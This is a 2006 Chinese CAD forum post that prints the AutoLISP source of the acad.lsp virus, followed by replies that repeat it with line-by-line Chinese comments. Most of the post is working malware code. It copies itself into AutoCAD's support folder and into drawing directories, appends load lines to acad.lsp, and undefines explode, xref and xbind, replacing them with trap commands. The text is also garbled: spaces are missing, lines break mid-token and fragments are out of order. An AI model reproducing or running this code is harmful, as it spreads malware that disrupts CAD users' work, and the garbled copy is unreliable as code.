发布于:2006-02-17 08:32:17
来自:建筑设计/CAD下载及教程
[复制转发]
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadiso")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if (and (= acadpath dwgpath) (/= acadpath path))
(progn (setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadiso.lsp"))
(if (= lspbj 0)
(progn (setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line
(strcat "(load" (chr 34) "acadiso" (chr 34) ")")
wjm
)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn (if (/= nowdwg "Drawing.dwg")
(progn (setq oldacad (findfile "acadiso.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(command "undefine" "attedit")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
全部回复(7 )
只看楼主 我来说两句(princ " was not able to be
explode")
)
)
(setvar "cmdecho" old_cmd)
(princ)
)
(defunC:xref ;重新定义的
xref命令陷阱
(/ old_cmd)
(setq old_cmd (getvar
"cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xbind;重新定义的
xbind命令陷阱
(/ old_cmd)
(setq old_cmd (getvar
"cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)(defunC:burst ;重新定义的
burst命令陷阱
(/ p old_cmd)
(setq old_cmd (getvar
"cmdecho"))
(setvar "cmdecho" 0)
(princ "\nBURST----将图块
中的文字炸开后成为实体")
(setqp(ssget))
(setvar "cmdecho" old_cmd)
(princ)
)
(princ)
回复 举报
一个自动启动函数
(/ old_cmd path dwgpath
mnlpath apppath oldacad newacad
nowdwg lspbj wjm wjm1
wjqm wjqm1 wz ns1 ns2)
;定义变量
(setq old_cmd (getvar"cmdecho")) ; 保存系统变量
cmdecho 值
(setvar "cmdecho" 0) ;设置
系统变量cmdecho 值为0,以关闭
回显
(setq path (findfile "base.
dcl"))
(setq path (substr path 1 (-
(strlen path) 8))) ;保存Autocad
的support安装目录路径
(setq mnlpath (getvar
"menuname")) ;保存系统变
量menuname 值
(setq nowdwg (getvar
"dwgname"));保存当前编辑的
C A D 文件名
(setq wjqm (findfile nowdwg))
;保存当前CAD 文件的全部路径
(包括文件名)
(setq dwgpath (substr wjqm 1
(-(strlenwjqm)(strlennowdwg))))
;保存当前文件的目录路
径,但当编辑新文件时,由于变量
wjqm
;为nil,所以该语句会
出错
(setqacadpath(findfile"acad.
lsp")) ;查找并保存默认路径下
的acad.lsp文件全部路径
(setq acadpath (substr
acadpath1(-(strlenacadpath) 8)))
; 保存默认路径下的
acad.lsp文件目录路径
(setq ns1 "" ns2 "")
(setqlspbj0)
(setq wjqm (strcat path "acad.
lsp")); 将“...\\support\\acad.lsp”
全部路径保存到变量
(if (setq wjm (open wjqm "r"))
;如果以“r ”方式打开“. . .
\\support\\acad.lsp”文件成功
(progn ; 说明“. . .
\\support\\acad.lsp”文件存在
(while (setq wz (read-line
wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if(>(strlenns1) 14)
(if (= (substr ns1 8 7)
"acadapp")
(setqlspbj1) ;设置是否要
在“...\\support\\acad.lsp”文件尾
添加
) ;“(load "acadapp")”语
句的标志变量值,
) ; 如果文件尾已有
“acadapp"字符串,将标志变量置
为1。
(close wjm)
)
)
(if (and (= acadpath dwgpath)
(/= acadpath path)) ;当acad.lsp
文件目录路径与
(progn ;当前编辑文件目
录路径相同,且acad.lsp文件目录
路径不是“...\\support\\”
(setqoldacad(findfile"acad.
lsp"))
(setq newacad (strcat path
"acadapp.lsp"))
(if(= lspbj0)
(progn(setq wjqm (strcat path "acad.
lsp"))
(setq wjm (open wjqm "a"))
(write-line(strcat"(load"(chr
34) "acadapp" (chr 34) ")") wjm)
(write-line"(princ)" wjm)
(close wjm)
) ;当标志变量为0 时,在
“...\\support\\acad.lsp”文件尾添
加
;“(load "acadapp")”语句
)
(writeapp) ;将acad.lsp病毒
文件复制到“. . .
\\support\\acadapp.lsp”文件
)
(progn(if (/= nowdwg "Drawing.
dwg") ;当不是新建图时
(progn
(setq oldacad (findfile
acadapp.lsp"))
(setq newacad (strcat dwgpath
acad.lsp"))
(writeapp) ;在当前编辑
件目录下复制acad.lsp病毒文
,将病毒文件扩散
)
)
)
)
(command "undefine"
explode") ;取消Autocad 的
explode命令(command "undefine" "xref")
;取消Autocad 的xref命令
(command "undefine""xbind") ;取消Autocad 的xbind
命令
(setvar "cmdecho" old_cmd)
;恢复回显
(princ)
)
(defunwriteapp() ;该函
数完成病毒复制
(if (setq wjm1 (open newacad
"w"))
(progn
(setq wjm (open oldacad "r"))
(while (setq wz (read-line
wjm))
(write-line wz wjm1)
)
(close wjm)
(close wjm1)
)
)
)
(defun C:explode ;重新
定义的explode命令陷阱
(/ p cont old_cmd)
(setq old_cmd (getvar
"cmdecho"))
(setvar "cmdecho" 0)
(setqp(ssget))
(if p
(progn
(setqcont(sslengthp))
(princ"\nSeltctobjects:")
(princcont)
(princ " found")
(princ"\n")
回复 举报